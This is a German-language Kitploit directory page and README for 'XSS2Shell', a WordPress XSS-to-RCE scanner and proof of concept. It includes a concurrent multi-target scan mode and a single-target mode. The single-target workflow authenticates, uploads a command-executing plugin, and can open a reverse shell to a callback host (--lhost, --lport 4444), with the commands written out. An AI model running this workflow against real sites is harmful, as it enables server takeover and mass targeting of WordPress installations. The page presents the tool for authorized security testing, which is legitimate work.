Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
XSS2Shell-CVE-2026-64638 — Autorisierter WordPress-XSS-zu-RCE-Scanner mit gleichzeitiger XSS-Reflexion über mehrere Ziele sowie Versions-Fingerabdruck-Erkennung und optionalem Exploitation-Workflow. | Kitploit
Tools/GitHubGitHub/yogagymn/xss2shell-cve-2026-64638
AufklärungWeb-SchwachstellenscannerExploitationWebanwendungs-ExploitationInformationsbeschaffungWebsicherheitPenetrationstests
GitHub

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
yogagymn/xss2shell-cve-2026-64638

XSS2Shell-CVE-2026-64638

Autorisierter WordPress-XSS-zu-RCE-Scanner mit gleichzeitiger XSS-Reflexion über mehrere Ziele sowie Versions-Fingerabdruck-Erkennung und optionalem Exploitation-Workflow.

Repository anzeigen
133vor 2 MonatenNoch nicht geprüft
Teilen

XSS2Shell Multi-Target Scanner

Entwickler: YogaGymn

PoC-/Scanning-Utility für autorisierte WordPress-Sicherheitstests. Das Projekt enthält einen Exploitation-Workflow für ein einzelnes Ziel und einen gleichzeitigen Multi-Target-Nur-Scan-Modus.

Wichtig: Verwenden Sie dieses Projekt nur auf WordPress-Installationen, die Ihnen gehören oder für die Sie eine ausdrückliche Genehmigung zum Testen haben. Der Multi-Target- Scanner ist absichtlich auf Fingerprinting und XSS-Reflection- Erkennung beschränkt; er führt keine Credential-Erfassung, Plugin-Upload oder RCE gegen eine Zielliste durch.

Funktionen

Einzelziel-Modus

Das ursprüngliche Skript unterstützt:

  • WordPress-Versions-Fingerprinting.
  • XSS-Reflection-Erkennung.
  • auto-, xss- und direct-Modi.
  • Direkte WordPress-Authentifizierung und Plugin-Upload-Workflow.
  • XSS-Chain-Funktionalität, die im ursprünglichen PoC vorhanden ist.
  • Optionale Callback-/Reverse-Shell-Funktionalität, die im ursprünglichen PoC vorhanden ist.

Multi-Target-Modus

Der hinzugefügte Scanner unterstützt:

  • Einlesen von Zielen aus einer Textdatei.
  • Entfernen doppelter Ziele.
  • Gleichzeitiges Scannen mit ThreadPoolExecutor.
  • Konfigurierbare Worker-Anzahl.
  • WordPress-Versionserkennung.
  • XSS-Reflection-Erkennung.
  • Fortschrittsanzeige.
  • Ergebnisse, die in derselben Reihenfolge wie die Eingabedatei gespeichert werden.
  • Zusammenfassende Statistiken.

Der Multi-Target-Modus ruft die ursprünglichen RCE-Funktionen nicht auf.

Anforderungen

  • Python 3.9+
  • requests

Installieren Sie die Abhängigkeit:

python3 -m pip install requests

Wenn Ihre Linux-Distribution eine extern verwaltete Python-Umgebung verwendet, nutzen Sie eine virtuelle Umgebung:

python3 -m venv .venv
source .venv/bin/activate
pip install requests

Installation

Klonen oder kopieren Sie das Projekt:

git clone https://github.com/yogaGymn/XSS2Shell-CVE-2026-64638
cd XSS2Shell-CVE-2026-64638

Oder platzieren Sie einfach:

xss2shell.py

in Ihrem Arbeitsverzeichnis.

Multi-Target-Scanner

Erstellen Sie eine Datei namens targets.txt:

https://example1.test
https://example2.test
https://example3.test

Kommentare und Leerzeilen werden ignoriert:

# Authorized lab targets
https://example1.test

https://example2.test

Führen Sie den Scanner aus:

python3 xss2shell.py -i targets.txt

Die Standardparallelität beträgt 10 Worker.

Parallelität ändern

Verwenden Sie zum Beispiel 20 Worker:

python3 xss2shell.py -i targets.txt --workers 20

Für ein kleines Labor:

python3 xss2shell.py -i targets.txt --workers 5

Wählen Sie keine unnötig hohe Worker-Anzahl, da dies die Verbindungslast erhöhen und Rate-Limiting oder defensive Kontrollen auslösen kann.

Ausgabedatei ändern

python3 xss2shell.py \
  -i targets.txt \
  --workers 10 \
  --output results.txt

Beispielausgabe

[*] Multiple-target scan: 3 target(s)
[*] Concurrent workers: 10
[*] Scan-only: WordPress fingerprint + XSS reflection check
[*] No login, plugin upload, credential capture, or RCE

[1/3] https://example1.test | WP=6.8.2 | XSS=XSS_NOT_DETECTED (ESCAPED)
[2/3] https://example2.test | WP=6.7.1 | XSS=XSS_REFLECTION_DETECTED (AREA_BYPASS)
[3/3] https://example3.test | WP=unknown | XSS=XSS_NOT_DETECTED (NOT_REFLECTED)

=======================================================
MULTIPLE-TARGET SCAN COMPLETE
=======================================================
Total targets : 3
XSS detected  : 1
Not detected  : 2
Errors        : 0
Results saved : scan_results.txt

Ergebnisformat

Die Standarddatei scan_results.txt verwendet tabulatorgetrennte Felder:

TARGET  WORDPRESS_VERSION  XSS_STATUS  XSS_DETAIL

Beispiel:

https://example1.test    6.8.2    XSS_NOT_DETECTED          ESCAPED
https://example2.test    6.7.1    XSS_REFLECTION_DETECTED   AREA_BYPASS

XSS-Statuswerte


Status Bedeutung


XSS_REFLECTION_DETECTED Der Scanner hat das getestete HTML-Reflexionsverhalten erkannt. Dies ist für sich genommen kein Beweis für RCE.

XSS_NOT_DETECTED Die getestete Reflexion wurde nicht erkannt.

ERROR Bei der Prüfung ist eine Ausnahme aufgetreten.

XSS-Detailwerte

Der Scanner kann Details wie die folgenden melden:

  • RAW_HTML
  • AREA_BYPASS
  • ESCAPED
  • STRIPPED
  • NOT_REFLECTED

Diese Werte beschreiben die von der Erkennungsroutine beobachtete Antwort; sie sollten manuell validiert werden, bevor ein Ergebnis als bestätigte Schwachstelle behandelt wird.

Verwendung mit einem einzelnen Ziel

Das ursprüngliche Skript unterstützt auch Argumente für ein einzelnes Ziel.

Automatikmodus

python3 xss2shell.py \
  -u admin \
  -p 'PASSWORD' \
  http://authorized-target.test

Direktmodus

python3 xss2shell.py \
  --mode direct \
  -u admin \
  -p 'PASSWORD' \
  http://authorized-target.test

XSS-Modus

python3 xss2shell.py \
  --mode xss \
  --lhost 192.0.2.10 \
  http://authorized-lab.test

Die XSS-/Direkt-Workflows können ein Plugin erstellen oder aktivieren, das Funktionalität zur Befehlsausführung enthält. Verwenden Sie sie nur in einer autorisierten Test- Umgebung.

CLI-Referenz

usage: xss2shell.py [-h]
       [-i TARGET_FILE] [--output OUTPUT] [--workers WORKERS]
       [--mode {auto,xss,direct}]
       [-u USERNAME] [-p PASSWORD]
       [--lhost LHOST] [--lport LPORT]
       [--slug SLUG] [--callback-port CALLBACK_PORT]
       [--no-rev]
       [target]

Argumente


Argument Beschreibung


target Einzelne Ziel-URL.

-i, --input Datei mit mehreren Zielen.

--output Ausgabedatei für Ergebnisse mit mehreren Zielen. Standard: scan_results.txt.

--workers Anzahl gleichzeitiger Worker. Standard: 10.

--mode Ursprünglicher Einzelziel-Modus: auto, xss oder direct.

-u, --username WordPress-Benutzername für den ursprünglichen Direct-/Fallback-Workflow.

-p, --password WordPress-Passwort für den ursprünglichen Direct-/Fallback-Workflow.

--lhost Callback-/Reverse-Shell-Host für den ursprünglichen PoC.

--lport Reverse-Shell-Port. Standard: 4444.

--slug Plugin-Slug. Standard: xss2shell.

--callback-port Callback-Server-Port. Standard: 9090.

Tool herunterladen